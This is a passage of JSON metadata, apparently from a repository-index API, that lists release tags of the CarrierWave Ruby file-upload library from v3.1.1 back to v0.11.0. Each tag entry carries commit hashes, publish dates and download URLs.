"pkg:github/carrierwaveuploader/carrierwave@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"d85c9e6e1fc1a6b5dfadba34489f128c75b549ba","kind":"tag","published_at":"2024-12-14T08:54:06.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0/manifests"},{"name":"v3.1.0.rc","sha":"db7a7ebdd6abffa97c24abf7a52321f0ca3d5dd6","kind":"tag","published_at":"2024-12-07T05:11:18.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.rc/manifests"},{"name":"v3.1.0.beta","sha":"2e8bfc042ded9b51a8129ed41baf9283fd67aef6","kind":"tag","published_at":"2024-09-01T10:28:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.beta/manifests"},{"name":"v3.0.7","sha":"cf2f011774ff449b3107c422540610e698d3dc28","kind":"tag","published_at":"2024-03-23T08:16:52.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.7/manifests"},{"name":"v2.2.6","sha":"eb6359e79fee43d1c480b0f50d9a585b3c3b1c1c","kind":"tag","published_at":"2024-03-23T08:16:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.6/manifests"},{"name":"v3.0.6","sha":"a18e13c9a183a036758c6c9efed6608f17c9b919","kind":"tag","published_at":"2024-03-09T09:50:35.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.6/manifests"},{"name":"v2.2.5","sha":"0fcff94cebce07b856531d6502b11466e8331409","kind":"tag","published_at":"2023-11-29T04:42:53.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.5/manifests"},{"name":"v3.0.5","sha":"5316b352b6ed38595e99622eeb954a2cd0b1d5c2","kind":"tag","published_at":"2023-11-29T04:35:31.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.5/manifests"},{"name":"v3.0.4","sha":"0c50a8bc7d1c39fe15be056fb22c7b110b9815ae","kind":"tag","published_at":"2023-10-08T09:42:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.4/manifests"},{"name":"v1.3.4","sha":"25b289e928eadc049d2c5f00d8b6864f451fcf79","kind":"tag","published_at":"2023-09-24T09:19:20.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.4/manifests"},{"name":"v3.0.3","sha":"f31546ac41c6a11480425b1528e6834581da2726","kind":"tag","published_at":"2023-08-21T02:43:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.3/manifests"},{"name":"v3.0.2","sha":"d339c275f49de70547c2e5e6145e72fdfdc6379a","kind":"tag","published_at":"2023-08-01T07:15:51.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.2/manifests"},{"name":"v3.0.1","sha":"3bdbfda18ab3e6aa07a3954f3c6f11d69437a1d8","kind":"tag","published_at":"2023-07-22T09:36:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.1/manifests"},{"name":"v3.0.0","sha":"269c37a6c8609c26915f31ccfada512ef12fb3cb","kind":"tag","published_at":"2023-07-02T09:22:13.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0/manifests"},{"name":"v3.0.0.rc","sha":"114d5935e137825266ecd7cfe2ceadb07ce9b96f","kind":"tag","published_at":"2023-06-11T09:56:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.rc/manifests"},{"name":"v2.2.4","sha":"2f91bee6487d8e5d8bd2c1a88dd25269a2c1e4d0","kind":"tag","published_at":"2023-06-10T06:22:25.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.4/manifests"},{"name":"v1.3.3","sha":"c5565e00f2898a3c78bc197662e53e5e535dc708","kind":"tag","published_at":"2023-02-02T10:40:51.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.3/manifests"},{"name":"v2.2.3","sha":"baf5df7d9acea95f46eaea456743241ef3d644f5","kind":"tag","published_at":"2022-11-21T09:10:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.3/manifests"},{"name":"v3.0.0.beta","sha":"6cb797aca9aaaf2e12257ced4f4709fbdafaff7c","kind":"tag","published_at":"2022-11-19T10:19:08.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.beta/manifests"},{"name":"v2.2.2","sha":"32abf5b2caf7baa8fca74324009bc1fe1acbed14","kind":"tag","published_at":"2021-05-28T10:09:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.2/manifests"},{"name":"v2.2.1","sha":"2dba2c1a45f3a8a4ac3e6abef3151dc2d8b9d641","kind":"tag","published_at":"2021-03-30T03:43:15.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"13330a70323cde83b319520f5c1874227de79cdf","kind":"tag","published_at":"2021-02-23T08:00:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.0/manifests"},{"name":"v2.1.1","sha":"003e2ceeaa856f2605cf8096b401e76168ffc8ba","kind":"tag","published_at":"2021-02-08T04:52:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.1.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.1/manifests"},{"name":"v1.3.2","sha":"56f39b23d16431a79faf8e361d4ee08238db2f66","kind":"tag","published_at":"2021-02-08T04:29:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.2/manifests"},{"name":"v2.1.0","sha":"3356634d80d372c458030460978c3b63c006e042","kind":"tag","published_at":"2020-02-16T09:11:07.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.0/manifests"},{"name":"v2.0.2","sha":"f81bb4d90c610c4e5d68c2057ab977620d7089a1","kind":"tag","published_at":"2019-09-28T05:10:56.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"e1c3eea981ad3963bf5bf5af586286abd1252caa","kind":"tag","published_at":"2019-08-31T03:41:02.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"96a0b03c415f816d39f539126759f2278ce36c74","kind":"tag","published_at":"2019-08-18T04:29:55.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0/manifests"},{"name":"v2.0.0.rc","sha":"0e8742be085410f1e08ef9f42c717267100d92e9","kind":"tag","published_at":"2019-06-23T08:23:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0.rc/manifests"},{"name":"v1.3.1","sha":"9d17a443d39ddf0c44bac985f69bf4c94d923a16","kind":"tag","published_at":"2018-12-29T09:55:27.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"930abb7b2043999b1648ba1c2274585ccaf014e4","kind":"tag","published_at":"2018-12-24T10:23:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.0/manifests"},{"name":"v1.2.3","sha":"61c3ba833e7d0f06da40c7672d9de1694d5f2cbc","kind":"tag","published_at":"2018-06-30T07:29:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.3/manifests"},{"name":"v1.2.2","sha":"9ffd67e4c443d4ab750352ad7470301908f4fdfb","kind":"tag","published_at":"2018-01-02T09:20:46.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.2/manifests"},{"name":"v1.2.1","sha":"32519e0df2739d82dfd89e6ca206da41346bb47d","kind":"tag","published_at":"2017-10-04T01:49:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"63b9396960d7bbaa41f642c9ccd5519218c61103","kind":"tag","published_at":"2017-09-30T08:58:00.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"07dc4d7bd7806ab4b963cf8acbad73d97cdfe74e","kind":"tag","published_at":"2017-04-30T06:05:05.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"9a9c954a67e27b63b1cbef5e112ebe3542d1584b","kind":"tag","published_at":"2016-12-24T05:21:56.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0/manifests"},{"name":"v1.0.0.rc","sha":"1d2f26428fe944977a91fe5fdf2fb033d5a13239","kind":"tag","published_at":"2016-10-30T10:06:19.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.rc/manifests"},{"name":"v1.0.0.beta","sha":"c45699c318ca895f89fa3304204e48b5f1c411f1","kind":"tag","published_at":"2016-09-08T05:03:31.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.beta/manifests"},{"name":"v0.11.2","sha":"57923136a0a1fe55ab82875b8a3786194a3b2500","kind":"tag","published_at":"2016-05-06T15:15:36.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.2/manifests"},{"name":"v0.11.1","sha":"5837d6164017a2a274a03e5c170f3c0d62aac82f","kind":"tag","published_at":"2016-05-05T11:14:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.1/manifests"},{"name":"v0.11.0","sha":"0575791f77fe1c1f0d84de61eed07d0969d56505","kind":"tag","published_at":"2016-03-29T12:33:44.000Z","download_url":"https://codeload.github.com/